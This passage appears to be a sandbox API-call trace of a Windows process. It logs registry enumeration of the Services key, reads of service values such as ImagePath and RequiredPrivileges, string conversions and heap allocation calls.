lpUsedDefaultChar=0x0) returned 17 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0028.244] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0028.244] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="services") returned 0x0 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0028.244] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x164) returned 0x0 [0028.244] RegCloseKey (hKey=0x15c) returned 0x0 [0028.244] RegEnumKeyW (in: hKey=0x164, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1c94450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1c94408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1c94450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1c94408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1c94450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0028.245] RegEnumKeyW (in: hKey=0x164, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0028.246] RegEnumKeyW (in: hKey=0x164, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0028.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0028.247] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94570 [0028.247] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.247] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0028.248] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.248] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.248] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.248] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.248] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.248] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.248] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.249] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94498) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c944e0) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2f8) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94528) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d308) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94570) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d318) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c945b8) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d328) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94600) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d338) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94648) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d348) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94690) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d358) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d1f870) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.250] RegQueryValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x19) returned 0x0 [0028.250] RegQueryValueExA (in: hKey=0x15c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c94768, lpcbData=0x18fb78*=0x19 | out: lpType=0x18fb70*=0x7, lpData=0x1c94768*, lpcbData=0x18fb78*=0x19) returned 0x0 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d378) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d630) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94768) returned 1 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d630 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d378 [0028.250] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94768 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.250] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d368) returned 1 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x0, lpcbData=0x18fb78*=0x0 | out: lpType=0x18fb70*=0x7, lpData=0x0, lpcbData=0x18fb78*=0x194) returned 0x0 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x1c0) returned 0x1c829e0 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.251] RegQueryValueExA (in: hKey=0xc8, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x18fb70, lpData=0x1c829e0, lpcbData=0x18fb78*=0x194 | out: lpType=0x18fb70*=0x7, lpData=0x1c829e0*, lpcbData=0x18fb78*=0x194) returned 0x0 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d648 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d368 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d358 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94690 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d348 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94648 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d338 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94600 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d648) returned 1 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d328 [0028.251] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c945b8 [0028.251] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d318 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94570 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d308 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94528 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2f8 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c944e0 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x30) returned 0x1d1f870 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94498 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.252] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94720) returned 1 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94720 [0028.252] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d388 [0028.252] RtlAllocateHeap 